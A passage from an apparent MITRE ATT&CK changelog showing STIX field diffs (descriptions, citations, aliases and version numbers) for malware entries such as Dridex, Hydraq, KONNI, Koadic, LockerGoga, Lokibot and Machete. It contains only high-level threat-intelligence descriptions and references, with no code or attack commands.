| > | 7)(Citation: Treasury EvilCorp Dec 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Daniyal Naeem, BT Security'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:20:01.787000+00:00 | 2021-10-01 20:30:30.043000+00:00 |
| description | [Dridex](https://attack.mitre.org/software/S0384) is a banking Trojan that has been used for financial gain. Dridex was created from the source code of the Bugat banking trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017) | [Dridex](https://attack.mitre.org/software/S0384) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://attack.mitre.org/software/S0384) had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. [Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019) |
| external_references[1]['source_name'] | Bugat v5 | Dridex |
| external_references[1]['description'] | (Citation: Dell Dridex Oct 2015) | (Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Checkpoint Dridex Jan 2021) |
| external_references[2]['source_name'] | Dell Dridex Oct 2015 | Bugat v5 |
| external_references[2]['description'] | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. | (Citation: Dell Dridex Oct 2015) |
| external_references[3]['source_name'] | Kaspersky Dridex May 2017 | Dell Dridex Oct 2015 |
| external_references[3]['description'] | Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019. | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. |
| external_references[3]['url'] | https://securelist.com/dridex-a-history-of-evolution/78531/ | https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Kaspersky Dridex May 2017', 'description': 'Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.', 'url': 'https://securelist.com/dridex-a-history-of-evolution/78531/'} | |
| external_references | {'source_name': 'Treasury EvilCorp Dec 2019', 'description': 'U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.', 'url': 'https://home.treasury.gov/news/press-releases/sm845'} | |
| external_references | {'source_name': 'Checkpoint Dridex Jan 2021', 'description': 'Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.', 'url': 'https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Hydraq](https://attack.mitre.org/software/S0203) is a data- | t | 1 | [Hydraq](https://attack.mitre.org/software/S0203) is a data- |
| > | theft trojan first used by [Elderwood](https://attack.mitre. | > | theft trojan first used by [Elderwood](https://attack.mitre. | ||
| > | org/groups/G0066) in the 2009 Google intrusion known as Oper | > | org/groups/G0066) in the 2009 Google intrusion known as Oper | ||
| > | ation Aurora, though variations of this trojan have been use | > | ation Aurora, though variations of this trojan have been use | ||
| > | d in more recent campaigns by other Chinese actors, possibly | > | d in more recent campaigns by other Chinese actors, possibly | ||
| > | including [APT17](https://attack.mitre.org/groups/G0025). ( | > | including [APT17](https://attack.mitre.org/groups/G0025).(C | ||
| > | Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elde | > | itation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderw | ||
| > | rwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) | > | ood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Ci | ||
| > | (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: | > | tation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireE | ||
| > | FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint | > | ye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 90 | ||
| > | GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2 | > | 02 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Ci | ||
| > | 013) (Citation: PaloAlto 3102 Sept 2015) | > | tation: PaloAlto 3102 Sept 2015) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ | |
| external_references | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | |
| external_references | https://www.symantec.com/connect/blogs/trojanhydraq-incident | |
| external_references | https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf | |
| external_references | https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html | |
| external_references | https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures | |
| external_references | https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:50:01.217000+00:00 | 2022-04-15 14:57:44.182000+00:00 |
| description | [Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015) | [Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025).(Citation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireEye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 9002 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Citation: PaloAlto 3102 Sept 2015) |
| external_references[1]['source_name'] | Hydraq | 9002 RAT |
| external_references[1]['description'] | (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) | (Citation: MicroFocus 9002 Aug 2016) |
| external_references[2]['source_name'] | Aurora | Roarur |
| external_references[2]['description'] | (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) | (Citation: Novetta-Axiom) |
| external_references[3]['source_name'] | 9002 RAT | MdmBot |
| external_references[3]['description'] | (Citation: MicroFocus 9002 Aug 2016) | (Citation: Novetta-Axiom) |
| external_references[4]['source_name'] | MicroFocus 9002 Aug 2016 | HomeUnix |
| external_references[4]['description'] | Petrovsky, O. (2016, August 30). “9002 RAT” -- a second building on the left. Retrieved February 20, 2018. | (Citation: Novetta-Axiom) |
| external_references[5]['source_name'] | Symantec Elderwood Sept 2012 | Homux |
| external_references[5]['description'] | O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018. | (Citation: Novetta-Axiom) |
| external_references[6]['source_name'] | Symantec Trojan.Hydraq Jan 2010 | HidraQ |
| external_references[6]['description'] | Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018. | (Citation: Novetta-Axiom) |
| external_references[7]['source_name'] | ASERT Seven Pointed Dagger Aug 2015 | HydraQ |
| external_references[7]['description'] | ASERT. (2015, August). ASERT Threat Intelligence Report – Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018. | (Citation: Novetta-Axiom) |
| external_references[8]['source_name'] | FireEye DeputyDog 9002 November 2013 | McRat |
| external_references[8]['description'] | Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved March 19, 2018. | (Citation: Novetta-Axiom) |
| external_references[9]['source_name'] | ProofPoint GoT 9002 Aug 2017 | Hydraq |
| external_references[9]['description'] | Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018. | (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) |
| external_references[10]['source_name'] | FireEye Sunshop Campaign May 2013 | Aurora |
| external_references[10]['description'] | Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved March 19, 2018. | (Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010) |
| external_references[11]['source_name'] | PaloAlto 3102 Sept 2015 | ASERT Seven Pointed Dagger Aug 2015 |
| external_references[11]['description'] | Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use ‘3102’ Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018. | ASERT. (2015, August). ASERT Threat Intelligence Report – Uncovering the Seven Pointed Dagger. Retrieved March 19, 2018. |
| external_references[11]['url'] | https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/ | https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'PaloAlto 3102 Sept 2015', 'description': 'Falcone, R. & Miller-Osborn, J. (2015, September 23). Chinese Actors Use ‘3102’ Malware in Attacks on US Government and EU Media. Retrieved March 19, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/'} | |
| external_references | {'source_name': 'ProofPoint GoT 9002 Aug 2017', 'description': 'Huss, D. & Mesa, M. (2017, August 25). Operation RAT Cook: Chinese APT actors use fake Game of Thrones leaks as lures. Retrieved March 19, 2018.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures'} | |
| external_references | {'source_name': 'FireEye Sunshop Campaign May 2013', 'description': 'Moran, N. (2013, May 20). Ready for Summer: The Sunshop Campaign. Retrieved March 19, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html'} | |
| external_references | {'source_name': 'FireEye DeputyDog 9002 November 2013', 'description': 'Moran, N. et al.. (2013, November 10). Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method. Retrieved March 19, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html'} | |
| external_references | {'source_name': 'Novetta-Axiom', 'description': 'Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.', 'url': 'http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf'} | |
| external_references | {'source_name': 'Symantec Elderwood Sept 2012', 'description': "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", 'url': 'https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf'} | |
| external_references | {'source_name': 'MicroFocus 9002 Aug 2016', 'description': 'Petrovsky, O. (2016, August 30). “9002 RAT” -- a second building on the left. Retrieved February 20, 2018.', 'url': 'https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ'} | |
| external_references | {'source_name': 'Symantec Trojan.Hydraq Jan 2010', 'description': 'Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.', 'url': 'https://www.symantec.com/connect/blogs/trojanhydraq-incident'} | |
| x_mitre_aliases | Roarur | |
| x_mitre_aliases | MdmBot | |
| x_mitre_aliases | HomeUnix | |
| x_mitre_aliases | Homux | |
| x_mitre_aliases | HidraQ | |
| x_mitre_aliases | HydraQ | |
| x_mitre_aliases | McRat |
Current version: 2.0
Version changed from: 1.4 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [KONNI](https://attack.mitre.org/software/S0356) is a Window | t | 1 | [KONNI](https://attack.mitre.org/software/S0356) is a remote |
| > | s remote administration too that has been seen in use since | > | access tool that security researchers assess has been used | ||
| > | 2014 and evolved in its capabilities through at least 2017. | > | by North Korean cyber actors since at least 2014. [KONNI](ht | ||
| > | [KONNI](https://attack.mitre.org/software/S0356) has been li | > | tps://attack.mitre.org/software/S0356) has significant code | ||
| > | nked to several campaigns involving North Korean themes.(Cit | > | overlap with the [NOKKI](https://attack.mitre.org/software/S | ||
| > | ation: Talos Konni May 2017) [KONNI](https://attack.mitre.or | > | 0353) malware family, and has been linked to several suspect | ||
| > | g/software/S0356) has significant code overlap with the [NOK | > | ed North Korean campaigns targeting political organizations | ||
| > | KI](https://attack.mitre.org/software/S0353) malware family. | > | in Russia, East Asia, Europe and the Middle East; there is s | ||
| > | There is some evidence potentially linking [KONNI](https:// | > | ome evidence potentially linking [KONNI](https://attack.mitr | ||
| > | attack.mitre.org/software/S0356) to [APT37](https://attack.m | > | e.org/software/S0356) to [APT37](https://attack.mitre.org/gr | ||
| > | itre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(C | > | oups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit | ||
| > | itation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan | > | 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citati | ||
| > | 2020) | > | on: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug | ||
| > | 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-03 19:32:54.607000+00:00 | 2022-04-13 17:26:25.143000+00:00 |
| description | [KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020) | [KONNI](https://attack.mitre.org/software/S0356) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021) |
| external_references[1]['description'] | (Citation: Talos Konni May 2017) | (Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021) |
| external_references[2]['source_name'] | Talos Konni May 2017 | Unit 42 Nokki Oct 2018 |
| external_references[2]['description'] | Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018. | Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018. |
| external_references[2]['url'] | https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html | https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/ |
| external_references[4]['source_name'] | Unit 42 Nokki Oct 2018 | Medium KONNI Jan 2020 |
| external_references[4]['description'] | Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018. | Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020. |
| external_references[4]['url'] | https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/ | https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b |
| external_references[5]['source_name'] | Medium KONNI Jan 2020 | Talos Konni May 2017 |
| external_references[5]['description'] | Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020. | Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018. |
| external_references[5]['url'] | https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b | https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html |
| x_mitre_version | 1.4 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Malwarebytes Konni Aug 2021', 'description': 'Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022.', 'url': 'https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Koadic](https://attack.mitre.org/software/S0250) is a Windo | t | 1 | [Koadic](https://attack.mitre.org/software/S0250) is a Windo |
| > | ws post-exploitation framework and penetration testing tool. | > | ws post-exploitation framework and penetration testing tool | ||
| > | [Koadic](https://attack.mitre.org/software/S0250) is public | > | that is publicly available on GitHub. [Koadic](https://attac | ||
| > | ly available on GitHub and the tool is executed via the comm | > | k.mitre.org/software/S0250) has several options for staging | ||
| > | and-line. [Koadic](https://attack.mitre.org/software/S0250) | > | payloads and creating implants, and performs most of its ope | ||
| > | has several options for staging payloads and creating implan | > | rations using Windows Script Host.(Citation: Github Koadic)( | ||
| > | ts. [Koadic](https://attack.mitre.org/software/S0250) perfor | > | Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes L | ||
| > | ms most of its operations using Windows Script Host. (Citati | > | azyScripter Feb 2021) | ||
| > | on: Github Koadic) (Citation: Palo Alto Sofacy 06-2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:55:29.911000+00:00 | 2022-04-06 19:32:33.511000+00:00 |
| description | [Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018) | [Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.(Citation: Github Koadic)(Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes LazyScripter Feb 2021) |
| external_references[1]['description'] | (Citation: Github Koadic) | (Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021) |
| external_references[2]['source_name'] | Github Koadic | MalwareBytes LazyScripter Feb 2021 |
| external_references[2]['description'] | Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018. | Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021. |
| external_references[2]['url'] | https://github.com/zerosum0x0/koadic | https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Github Koadic', 'description': 'Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.', 'url': 'https://github.com/zerosum0x0/koadic'} |
Current version: 2.0
Version changed from: 1.3 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [LockerGoga](https://attack.mitre.org/software/S0372) is ran | t | 1 | [LockerGoga](https://attack.mitre.org/software/S0372) is ran |
| > | somware that has been tied to various attacks on European co | > | somware that was first reported in January 2019, and has bee | ||
| > | mpanies. It was first reported upon in January 2019.(Citatio | > | n tied to various attacks on European companies, including i | ||
| > | n: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga | > | ndustrial and manufacturing firms.(Citation: Unit42 LockerGo | ||
| > | 2019) | > | ga 2019)(Citation: CarbonBlack LockerGoga 2019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Joe Slowik - Dragos'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:56:22.049000+00:00 | 2022-05-23 21:22:58.477000+00:00 |
| description | [LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019) | [LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019) |
| external_references[1]['source_name'] | Unit42 LockerGoga 2019 | CarbonBlack LockerGoga 2019 |
| external_references[1]['description'] | Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. | CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019. |
| external_references[1]['url'] | https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/ | https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/ |
| external_references[2]['source_name'] | CarbonBlack LockerGoga 2019 | Unit42 LockerGoga 2019 |
| external_references[2]['description'] | CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019. | Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. |
| external_references[2]['url'] | https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/ | https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/ |
| x_mitre_version | 1.3 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lokibot](https://attack.mitre.org/software/S0447) is a malw | t | 1 | [Lokibot](https://attack.mitre.org/software/S0447) is a wide |
| > | are designed to collect credentials and security tokens from | > | ly distributed information stealer that was first reported i | ||
| > | an infected machine. [Lokibot](https://attack.mitre.org/sof | > | n 2015. It is designed to steal sensitive information such a | ||
| > | tware/S0447) has also been used to establish backdoors in en | > | s usernames, passwords, cryptocurrency wallets, and other cr | ||
| > | terprise environments.(Citation: Infoblox Lokibot January 20 | > | edentials. [Lokibot](https://attack.mitre.org/software/S0447 | ||
| > | 19)(Citation: Morphisec Lokibot April 2020) | > | ) can also create a backdoor into infected systems to allow | ||
| > | an attacker to install additional payloads.(Citation: Infobl | ||||
| > | ox Lokibot January 2019)(Citation: Morphisec Lokibot April 2 | ||||
| > | 020)(Citation: CISA Lokibot September 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Daniyal Naeem, BT Security'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-18 22:00:40.499000+00:00 | 2021-10-11 17:43:38.029000+00:00 |
| description | [Lokibot](https://attack.mitre.org/software/S0447) is a malware designed to collect credentials and security tokens from an infected machine. [Lokibot](https://attack.mitre.org/software/S0447) has also been used to establish backdoors in enterprise environments.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020) | [Lokibot](https://attack.mitre.org/software/S0447) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://attack.mitre.org/software/S0447) can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020) |
| external_references[1]['source_name'] | Infoblox Lokibot January 2019 | Lokibot |
| external_references[1]['description'] | Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020. | (Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: Talos Lokibot Jan 2021) |
| external_references[2]['source_name'] | Morphisec Lokibot April 2020 | Infoblox Lokibot January 2019 |
| external_references[2]['description'] | Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020. | Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020. |
| external_references[2]['url'] | https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode | https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22 |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Morphisec Lokibot April 2020', 'description': 'Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020.', 'url': 'https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode'} | |
| external_references | {'source_name': 'CISA Lokibot September 2020', 'description': 'DHS/CISA. (2020, September 22). Alert (AA20-266A) LokiBot Malware . Retrieved September 15, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa20-266a'} | |
| external_references | {'source_name': 'Talos Lokibot Jan 2021', 'description': 'Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021.', 'url': 'https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Machete](https://attack.mitre.org/software/S0409) is a cybe | t | 1 | [Machete](https://attack.mitre.org/software/S0409) is a cybe |
| > | r espionage toolset developed by a Spanish-speaking group kn | > | r espionage toolset used by [Machete](https://attack.mitre.o | ||
| > | own as El [Machete](https://attack.mitre.org/groups/G0095). | > | rg/groups/G0095). It is a Python-based backdoor targeting Wi | ||
| > | It is a Python-based backdoor targeting Windows machines, an | > | ndows machines that was first observed in 2010.(Citation: ES | ||
| > | d it was first observed in 2010.(Citation: ESET Machete July | > | ET Machete July 2019)(Citation: Securelist Machete Aug 2014) | ||
| > | 2019)(Citation: Securelist Machete Aug 2014) | > | (Citation: 360 Machete Sep 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
